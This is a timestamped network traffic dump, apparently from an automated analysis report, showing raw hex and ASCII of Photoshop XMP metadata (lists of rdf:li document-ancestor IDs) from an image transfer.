34 34 44 45 31 31 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 31 38 42 44 41 44 34 31 32 44 44 33 
43 31 37 46 46 44 37 35 44 39 36 32 45 31 44 34 33 36 42 3c 2f 72 64 66 
Data Ascii: </rdf:li> <rdf:li>41697458E13347ED44E2E9A967124D63</rdf:li> <rdf:li>416DF708A099FDCEBDD2
2F7509755E84</rdf:li> <rdf:li>416FCCDAD5CDF95898CB3A68D945CCDA</rdf:li> <rdf:li>4176D9383AEDEC0EEE50
E20844DE11B2</rdf:li> <rdf:li>418BDAD412DD3C17FFD75D962E1D436B</rdf

2022-05-13 14:42:07 UTC 3976 IN Data Raw: 42 31 42 38 35 46 41 39 37 42 31 30 42 45 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 45 
36 42 45 37 35 42 46 34 46 42 39 46 37 43 39 44 30 43 33 36 46 32 37 35 46 37 35 43 30 45 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 34 45 37 42 37 41 45 46 37 32 39 42 38 41 44 46 43 30 38 45 43 34 39 37 42 43 42 43 44 41 
33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 45 37 46 46 35 33 43 45 44 32 43 33 42 46 32 31 38 31 4
6 34 38 35 32 39 39 30 36 30 46 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 45 38 34 37 41 30 45 34 
45 32 31 33 35 36 33 36 38 42 34 37 39 32 31 37 39 35 43 32 41 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 34 45 38 45 30 31 44 46 37 33 39 32 32 35 38 36 30 34 36 31 43 
Data Ascii: B1B85FA97B10BEF6</rdf:li> <rdf:li>4E6BE75BF4FB9F7C9D0C36F275F75C0E</rdf:li> <rdf:li>4E7B
7AEF729B8ADFC08EC497BCBCDA31</rdf:li> <rdf:li>4E7FF53CED2C3BF2181F485299060FB7</rdf:li> <rdf:li>4E84
7A0E4E21356368B47921795C2AFC</rdf:li> <rdf:li>4E8E01DF739225860461C

2022-05-13 14:42:07 UTC 4015 IN Data Raw: 46 34 42 46 42 36 37 44 37 30 31 44 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 32 34 
46 46 32 32 36 44 32 36 45 43 44 46 36 42 37 44 34 36 35 36 43 35 32 31 34 34 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 35 35 32 39 45 44 41 38 32 42 35 45 32 38 43 35 36 35 39 35 44 39 33 42 33 30 33 46 36 33 35 46 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 32 43 32 32 33 38 35 36 41 35 37 34 32 30 31 36 43 35 30 3
7 37 42 44 34 33 39 44 38 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 35 33 34 41 30 37 43 45 35 41 
32 44 39 39 36 35 43 33 41 43 37 46 34 30 38 35 33 30 41 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
35 35 34 35 31 46 33 34 33 38 43 32 39 45 32 33 38 46 30 30 36 32 39 
Data Ascii: F4BFB67D701D9E</rdf:li> <rdf:li>5524FF226D26ECDF6B7D4656C5214466</rdf:li> <rdf:li>5529ED
A82B5E28C56595D93B303F635F</rdf:li> <rdf:li>552C223856A5742016C5077BD439D80C</rdf:li> <rdf:li>5534A0
7CE5A2D9965C3AC7F408530A05</rdf:li> <rdf:li>55451F3438C29E238F00629

2022-05-13 14:42:07 UTC 4055 IN Data Raw: 45 33 34 34 36 46 46 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 41 45 37 30 31 37 37 
37 41 42 45 30 39 36 46 44 37 31 45 39 33 33 39 31 42 31 36 45 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 36 33 42 30 39 34 31 36 30 41 36 46 38 39 31 33 34 42 42 38 43 42 31 32 33 37 30 31 37 36 39 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 43 45 37 34 33 33 31 35 31 41 44 41 44 35 33 32 44 38 33 34 45 35 31 32 
38 34 30 32 41 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 43 45 46 45 37 39 30 39 44 30 34 43 42 
39 41 42 39 46 38 38 34 45 37 30 44 33 45 39 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 44 34 
35 38 42 44 36 30 34 44 31 32 35 37 38 38 38 34 33 43 33 30 39 43 41 39 
Data Ascii: E3446FF94</rdf:li> <rdf:li>63AE701777ABE096FD71E93391B16E89</rdf:li> <rdf:li>63B094160A6
F89134BB8CB1237017694</rdf:li> <rdf:li>63CE7433151ADAD532D834E5128402A0</rdf:li> <rdf:li>63CEFE7909D
04CB9AB9F884E70D3E949</rdf:li> <rdf:li>63D458BD604D125788843C309CA9

2022-05-13 14:42:07 UTC 4071 IN Data Raw: 37 45 38 46 44 35 31 43 44 31 45 46 37 42 39 39 34 35 39 46 36 36 41 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 37 31 45 43 41 36 36 33 39 36 36 36 33 39 38 42 42 36 44 33 35 38 31 31 45 37 37 45 44 46 38 37 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 31 46 46 44 31 44 34 35 35 33 46 41 45 39 32 34 42 32 33 31 
44 32 36 38 36 43 42 38 35 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 32 31 34 43 33 32 43 42 42 3
7 38 30 43 32 38 34 39 31 45 38 35 46 46 33 34 45 46 42 30 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
37 32 32 43 36 45 37 41 35 43 34 46 32 32 37 35 37 31 35 46 46 41 37 37 42 36 32 31 42 37 46 42 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 37 32 33 41 36 46 34 32 38 32 33 35 
Data Ascii: 7E8FD51CD1EF7B99459F66A7E</rdf:li> <rdf:li>71ECA6639666398BB6D35811E77EDF87</rdf:li> <rd
f:li>71FFD1D4553FAE924B231D2686CB8554</rdf:li> <rdf:li>7214C32CBB780C28491E85FF34EFB033</rdf:li> <rd
f:li>722C6E7A5C4F2275715FFA77B621B7FB</rdf:li> <rdf:li>723A6F428235

2022-05-13 14:42:07 UTC 4159 IN Data Raw: 39 44 39 44 35 46 46 46 46 39 43 34 37 45 44 39 42 36 35 45 45 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 37 38 30 44 37 44 37 43 43 42 31 46 45 32 43 30 32 39 30 38 41 35 37 30 37 34 45 46 43 35 44 32 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 38 30 45 35 36 41 33 33 38 39 41 38 31 34 34 46 36 34 31 43 43 43 
36 41 46 44 41 41 30 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 38 31 35 38 33 45 45 45 42 42 32 3
5 31 39 43 42 32 37 39 36 46 35 44 45 43 32 35 43 42 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 38 
31 38 41 33 44 31 30 32 46 34 42 31 44 44 37 37 45 32 43 45 44 44 31 31 34 35 46 34 33 42 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 37 38 31 46 38 44 37 30 36 41 30 38 44 33 
Data Ascii: 9D9D5FFFF9C47ED9B65EE61</rdf:li> <rdf:li>780D7D7CCB1FE2C02908A57074EFC5D2</rdf:li> <rdf:
li>780E56A3389A8144F641CCC6AFDAA09E</rdf:li> <rdf:li>781583EEEBB2519CB2796F5DEC25CB8D</rdf:li> <rdf:
li>7818A3D102F4B1DD77E2CEDD1145F43B</rdf:li> <rdf:li>781F8D706A08D3

2022-05-13 14:42:07 UTC 4230 IN Data Raw: 72 64 66 3a 6c 69 3e 38 35 45 46 41 34 36 37 46 45 36 37 33 39 38 42 46 39 34 36 45 43 34 34 36 36 41 41 
32 41 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 35 46 46 32 44 37 34 37 42 35 33 39 43 35 32 45 
36 33 34 43 35 46 45 34 43 37 32 34 39 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 31 34 45 39 3
9 41 39 45 33 43 38 32 46 44 44 39 38 31 45 39 45 46 41 30 38 35 41 46 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 38 36 32 30 31 30 46 42 31 37 37 36 46 38 32 44 45 37 38 42 39 35 32 45 38 37 38 37 41 31 45 46 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 32 31 33 35 34 46 36 35 46 43 44 37 38 35 35 31 46 42 31 31 38 43 
44 30 38 43 41 43 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
Data Ascii: rdf:li>85EFA467FE67398BF946EC4466AA2A3E</rdf:li> <rdf:li>85FF2D747B539C52E634C5FE4C72497
0</rdf:li> <rdf:li>8614E99A9E3C82FDD981E9EFA085AF77</rdf:li> <rdf:li>862010FB1776F82DE78B952E8787A1E
F</rdf:li> <rdf:li>8621354F65FCD78551FB118CD08CAC1B</rdf:li> <rdf:l
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2022-05-13 14:42:07 UTC 4246 IN Data Raw: 32 37 30 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 33 46 38 32 31 35 44 43 36 36 44 46 
44 35 37 30 31 43 39 31 46 36 38 36 34 35 46 36 34 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 34 
30 33 34 45 32 37 37 43 30 33 38 32 44 34 44 32 43 42 32 46 36 34 43 41 42 31 34 32 39 36 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 39 34 30 45 36 39 38 35 44 33 46 32 45 38 44 41 42 30 37 45 34 36 45 43 46 45 43 38 33 42 
33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 34 31 32 45 43 32 41 32 38 37 43 46 42 34 44 37 34 41 
36 33 46 38 36 36 32 42 32 39 36 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 34 33 32 45 38 35 45 
38 39 38 44 42 31 30 45 36 36 30 31 44 42 31 39 32 41 34 36 41 38 41 34 
Data Ascii: 27090</rdf:li> <rdf:li>93F8215DC66DFD5701C91F68645F64B1</rdf:li> <rdf:li>94034E277C0382D
4D2CB2F64CAB14296</rdf:li> <rdf:li>940E6985D3F2E8DAB07E46ECFEC83B3E</rdf:li> <rdf:li>9412EC2A287CFB4
D74A63F8662B2964F</rdf:li> <rdf:li>9432E85E898DB10E6601DB192A46A8A4

2022-05-13 14:42:07 UTC 4310 IN Data Raw: 39 41 33 37 37 32 43 37 33 33 36 44 32 36 44 37 34 42 36 32 32 31 41 42 31 42 44 46 46 45 36 42 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 41 33 38 39 39 42 46 32 30 36 45 34 30 42 42 41 45 31 46 45 30 34 46 
39 36 36 33 44 43 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 41 33 39 39 42 36 45 33 45 37 45 36 4
1 37 35 31 44 31 31 34 43 36 32 45 43 43 36 46 44 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 41 34 
37 31 38 46 35 46 42 41 42 41 45 30 45 36 39 38 44 34 46 37 43 31 34 41 32 45 39 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 39 41 37 33 43 44 35 45 45 43 33 42 43 42 38 43 39 32 45 44 33 46 32 34 39 37 38 39 37 30 33 
34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 41 38 31 33 
Data Ascii: 9A3772C7336D26D74B6221AB1BDFFE6B</rdf:li> <rdf:li>9A3899BF206E40BBAE1FE04F9663DC69</rdf:li> 
<rdf:li>9A399B6E3E7E6A751D114C62ECC6FD41</rdf:li> <rdf:li>9A4718F5FBABAE0E698D4F7C14A2E93E</rdf:li> 
<rdf:li>9A73CD5EEC3BCB8C92ED3F2497897034</rdf:li> <rdf:li>9A813

2022-05-13 14:42:07 UTC 4359 IN Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 37 39 43 37 38 38 39 35 38 41 35 37 42 36 35 46 31 45 
31 39 45 38 42 33 34 42 41 41 41 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 37 41 31 32 35 35 46 
46 33 38 36 36 37 39 35 42 43 42 32 37 30 36 31 30 32 43 37 42 33 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 41 37 41 37 45 45 46 41 35 35 37 32 46 43 45 42 35 44 30 44 35 46 41 34 37 38 43 38 43 41 43 46 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 37 42 32 45 31 35 37 43 32 45 42 42 33 45 34 36 46 35 36 42 31 35 45 31 
35 44 36 38 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 37 42 34 42 36 36 44 43 42 39 45 38 32 
33 43 31 41 31 31 42 35 42 35 32 31 44 39 30 35 31 34 3c 2f 72 64 66 3a 6c 
Data Ascii: rdf:li> <rdf:li>A79C788958A57B65F1E19E8B34BAAAE2</rdf:li> <rdf:li>A7A1255FF3866795BCB270
6102C7B3C8</rdf:li> <rdf:li>A7A7EEFA5572FCEB5D0D5FA478C8CACF</rdf:li> <rdf:li>A7B2E157C2EBB3E46F56B1
5E15D68F3B</rdf:li> <rdf:li>A7B4B66DCB9E823C1A11B5B521D90514</rdf:l

2022-05-13 14:42:07 UTC 4375 IN Data Raw: 45 30 30 34 35 45 42 32 36 30 35 41 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 35 31 39 
32 37 42 35 42 30 33 33 37 37 41 34 43 36 46 38 36 35 35 44 39 44 45 39 44 42 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 42 35 32 31 45 37 30 36 39 35 30 31 33 32 37 38 39 42 33 46 38 41 34 31 31 35 38 42 45 42 33 34 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 35 33 30 37 32 41 39 33 34 33 30 38 33 35 46 44 44 30 46 30 3
4 32 46 44 36 32 38 31 32 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 35 33 31 38 36 30 41 41 33 44 
41 43 42 41 42 41 36 43 35 41 30 42 30 41 41 46 31 45 42 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
42 35 33 31 46 34 30 43 39 42 34 37 41 38 46 43 44 31 36 36 32 38 35 
Data Ascii: E0045EB2605A4A</rdf:li> <rdf:li>B51927B5B03377A4C6F8655D9DE9DB23</rdf:li> <rdf:li>B521E7
06950132789B3F8A41158BEB34</rdf:li> <rdf:li>B53072A93430835FDD0F042FD628123B</rdf:li> <rdf:li>B53186
0AA3DACBABA6C5A0B0AAF1EB9E</rdf:li> <rdf:li>B531F40C9B47A8FCD166285

2022-05-13 14:42:07 UTC 4383 IN Data Raw: 35 46 43 36 44 37 44 38 39 32 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 41 39 35 45 
37 42 30 46 41 43 35 30 33 44 30 36 30 30 33 35 38 37 42 46 34 34 35 42 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 42 42 42 36 39 30 32 41 46 30 43 39 41 32 45 45 46 37 37 32 30 42 36 31 37 37 42 45 41 32 33 36 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 42 44 30 31 44 44 38 41 36 46 36 33 34 45 42 34 30 35 31 36 36 
38 37 44 46 37 34 44 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 42 43 33 42 31 34 38 34 46 42 31 
35 44 32 30 36 46 35 33 34 32 37 36 32 43 30 44 42 35 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 
42 43 36 37 36 37 43 38 36 32 34 32 37 45 36 33 43 30 42 32 37 36 30 31 
Data Ascii: 5FC6D7D892F8</rdf:li> <rdf:li>BBA95E7B0FAC503D06003587BF445BBB</rdf:li> <rdf:li>BBB6902A
F0C9A2EEF7720B6177BEA236</rdf:li> <rdf:li>BBBD01DD8A6F634EB40516687DF74D30</rdf:li> <rdf:li>BBC3B148
4FB15D206F5342762C0DB514</rdf:li> <rdf:li>BBC6767C862427E63C0B27601

2022-05-13 14:42:07 UTC 4448 IN Data Raw: 30 35 35 36 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 44 33 31 31 34 30 44 42 38 30 38 
37 32 38 37 39 45 44 46 43 30 39 41 35 43 30 30 39 41 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 
44 33 36 41 46 43 30 34 44 46 33 41 36 38 39 44 37 46 45 30 35 43 36 38 33 46 30 33 35 42 38 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 42 44 33 41 34 43 44 38 44 44 37 32 30 45 33 39 33 42 43 44 39 33 33 36 45 32 38 39 46 
30 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 44 34 41 31 31 46 43 41 44 39 39 45 44 34 32 46 39 
33 33 30 39 31 33 42 34 39 44 35 30 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 44 34 43 35 38 42 
41 32 31 39 46 41 32 35 45 36 46 38 30 39 35 38 34 43 43 34 31 37 41 38 
Data Ascii: 05566F</rdf:li> <rdf:li>BD31140DB80872879EDFC09A5C009A8C</rdf:li> <rdf:li>BD36AFC04DF3A6
89D7FE05C683F035B8</rdf:li> <rdf:li>BD3A4CD8DD720E393BCD9336E289F0B0</rdf:li> <rdf:li>BD4A11FCAD99ED
42F9330913B49D50CD</rdf:li> <rdf:li>BD4C58BA219FA25E6F809584CC417A8

2022-05-13 14:42:07 UTC 4480 IN Data Raw: 37 41 45 45 43 30 33 45 43 39 30 46 30 41 31 45 42 30 45 42 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 43 41 38 35 39 39 37 43 34 34 43 32 45 30 36 42 43 34 46 38 44 30 39 36 33 45 30 30 43 35 35 46 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 41 38 38 36 34 32 42 39 33 41 46 37 35 33 43 43 34 41 42 33 39 41 39 
43 38 45 37 31 33 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 41 42 46 44 46 45 37 37 43 36 39 44 4
4 44 38 36 30 37 37 41 43 33 45 33 33 38 37 38 44 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 41 43 
30 32 32 31 44 38 32 41 41 37 44 41 38 37 32 41 36 31 42 45 32 39 30 43 42 34 41 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 43 41 44 34 32 39 32 36 34 42 41 46 36 32 31 
Data Ascii: 7AEEC03EC90F0A1EB0EBD7</rdf:li> <rdf:li>CA85997C44C2E06BC4F8D0963E00C55F</rdf:li> <rdf:l
i>CA88642B93AF753CC4AB39A9C8E713DB</rdf:li> <rdf:li>CABFDFE77C69DDD86077AC3E33878DF9</rdf:li> <rdf:l
i>CAC0221D82AA7DA872A61BE290CB4A8D</rdf:li> <rdf:li>CAD429264BAF621

2022-05-13 14:42:07 UTC 4566 IN Data Raw: 43 36 31 36 38 39 34 39 31 43 43 38 46 42 37 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 
37 44 33 38 38 44 35 43 37 30 41 35 33 30 30 31 41 42 33 37 45 35 38 41 32 42 36 34 42 42 43 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 44 37 44 35 36 43 38 44 33 42 38 34 43 31 44 34 42 35 33 30 39 42 37 45 33 34 35 32 39 
31 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 37 45 35 41 35 39 41 31 43 36 43 44 38 33 38 35 39 3
6 32 30 37 45 38 41 46 34 32 30 45 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 37 45 45 31 35 38 36 
43 30 44 34 38 35 37 35 39 37 33 36 35 36 46 31 38 44 43 35 34 30 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 44 37 46 34 37 42 33 37 44 31 38 38 45 43 38 33 43 38 39 45 
Data Ascii: C61689491CC8FB7C3</rdf:li> <rdf:li>D7D388D5C70A53001AB37E58A2B64BBC</rdf:li> <rdf:li>D7D
56C8D3B84C1D4B5309B7E34529106</rdf:li> <rdf:li>D7E5A59A1C6CD838596207E8AF420E75</rdf:li> <rdf:li>D7E
E1586C0D48575973656F18DC54010</rdf:li> <rdf:li>D7F47B37D188EC83C89E
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2022-05-13 14:42:07 UTC 4596 IN Data Raw: 43 32 44 42 46 45 37 30 45 36 41 35 30 33 42 42 39 45 34 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 44 44 34 42 36 41 35 31 45 43 43 30 33 33 44 41 43 45 34 30 42 45 34 45 32 46 38 38 38 44 31 33 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 44 35 38 35 44 46 44 45 35 38 39 43 35 36 46 39 42 42 42 45 35 42 44 38 
32 44 34 34 35 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 44 37 34 30 42 38 38 30 32 32 41 34 31 3
5 38 42 39 41 45 31 30 32 41 43 35 35 43 45 37 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 44 37 42 
32 36 39 41 41 43 46 43 42 30 46 41 33 34 45 33 33 37 36 43 41 42 34 34 31 38 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 44 44 37 46 43 43 32 31 33 36 35 41 31 39 38 44 
Data Ascii: C2DBFE70E6A503BB9E45B</rdf:li> <rdf:li>DD4B6A51ECC033DACE40BE4E2F888D13</rdf:li> <rdf:li
>DD585DFDE589C56F9BBBE5BD82D445C5</rdf:li> <rdf:li>DD740B88022A4158B9AE102AC55CE785</rdf:li> <rdf:li
>DD7B269AACFCB0FA34E3376CAB441860</rdf:li> <rdf:li>DD7FCC21365A198D

2022-05-13 14:42:07 UTC 4620 IN Data Raw: 66 3a 6c 69 3e 45 41 34 33 36 34 35 44 44 46 42 32 45 41 33 43 35 35 46 38 34 31 45 38 45 39 36 31 43 35 
33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 41 34 34 35 41 46 42 37 31 34 32 43 36 46 39 36 37 35 
32 45 42 39 33 45 46 46 34 37 46 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 41 34 37 32 46 32 38 3
8 38 44 46 42 37 44 42 43 45 30 43 42 39 39 41 45 33 38 46 32 34 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 45 41 35 38 42 45 39 37 30 32 31 43 39 39 46 31 35 33 46 43 44 44 33 39 31 41 30 35 36 42 43 38 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 41 35 38 45 42 46 41 35 37 46 45 35 41 32 45 31 44 45 35 44 31 45 39 46 41 
37 35 37 46 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
Data Ascii: f:li>EA43645DDFB2EA3C55F841E8E961C530</rdf:li> <rdf:li>EA445AFB7142C6F96752EB93EFF47F5D<
/rdf:li> <rdf:li>EA472F2888DFB7DBCE0CB99AE38F24AF</rdf:li> <rdf:li>EA58BE97021C99F153FCDD391A056BC8<
/rdf:li> <rdf:li>EA58EBFA57FE5A2E1DE5D1E9FA757FF2</rdf:li> <rdf:li>

2022-05-13 14:42:07 UTC 4700 IN Data Raw: 36 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 36 30 35 43 30 38 45 34 31 35 35 35 46 46 
43 42 45 32 35 31 41 45 30 44 43 32 44 41 36 45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 36 30 36 
30 34 34 32 44 34 32 38 44 42 44 41 38 43 41 37 33 37 30 42 37 35 39 34 32 30 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 46 36 30 43 41 43 46 36 31 32 38 43 42 37 32 43 31 38 45 44 31 33 38 46 37 41 36 35 32 31 36 45 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 36 32 32 37 32 35 31 45 33 41 36 46 30 37 46 42 31 31 38 32 
36 39 39 31 41 44 37 33 30 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 36 34 38 37 43 35 39 31 30 
31 46 34 42 46 42 42 33 42 46 30 34 35 39 37 30 33 33 43 39 33 43 3c 2f 
Data Ascii: 6E5</rdf:li> <rdf:li>F605C08E41555FFCBE251AE0DC2DA6E1</rdf:li> <rdf:li>F6060442D428DBDA8
CA7370B75942074</rdf:li> <rdf:li>F60CACF6128CB72C18ED138F7A65216E</rdf:li> <rdf:li>F6227251E3A6F07FB
11826991AD730DF</rdf:li> <rdf:li>F6487C59101F4BFBB3BF04597033C93C</

2022-05-13 14:42:07 UTC 4708 IN Data Raw: 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 39 39 39 35 31 46 39 33 39 44 42 37 46 44 44 
33 31 32 37 43 43 43 44 32 44 44 44 43 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 39 46 45 37 
39 43 45 37 33 46 31 37 44 46 43 31 34 38 46 37 32 37 38 34 38 37 41 35 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 46 43 41 33 38 33 36 45 41 39 34 41 45 39 37 42 30 45 46 38 43 35 30 30 45 33 41 32 35 39 31 36 3c 2f 7
2 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 41 37 37 31 35 36 37 42 33 35 31 42 38 34 45 32 37 45 36 34 39 
32 32 46 42 45 32 38 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 43 41 41 41 39 45 34 33 33 44 34 
32 43 37 37 36 37 37 42 45 35 39 36 46 42 43 30 35 34 38 31 3c 2f 72 64 
Data Ascii: 5</rdf:li> <rdf:li>FC99951F939DB7FDD3127CCCD2DDDC68</rdf:li> <rdf:li>FC9FE79CE73F17DFC14
8F7278487A577</rdf:li> <rdf:li>FCA3836EA94AE97B0EF8C500E3A25916</rdf:li> <rdf:li>FCA771567B351B84E27
E64922FBE28AC</rdf:li> <rdf:li>FCAAA9E433D42C77677BE596FBC05481</rd

2022-05-13 14:42:07 UTC 4724 IN Data Raw: 2d 61 65 37 38 36 33 62 62 38 64 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 
3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 38 64 34 61 38 30 38 2d 37 32 36 34 2d 31 31 65 31 2d 39 31 36 34 
2d 61 65 62 66 34 37 61 62 39 64 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 
69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 39 37 36 65 36 34 35 2d 38 65 65 39 2d 31 31 64 38 2d 62 39 31 66 2d 66 39 
65 63 64 38 66 66 61 34 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 
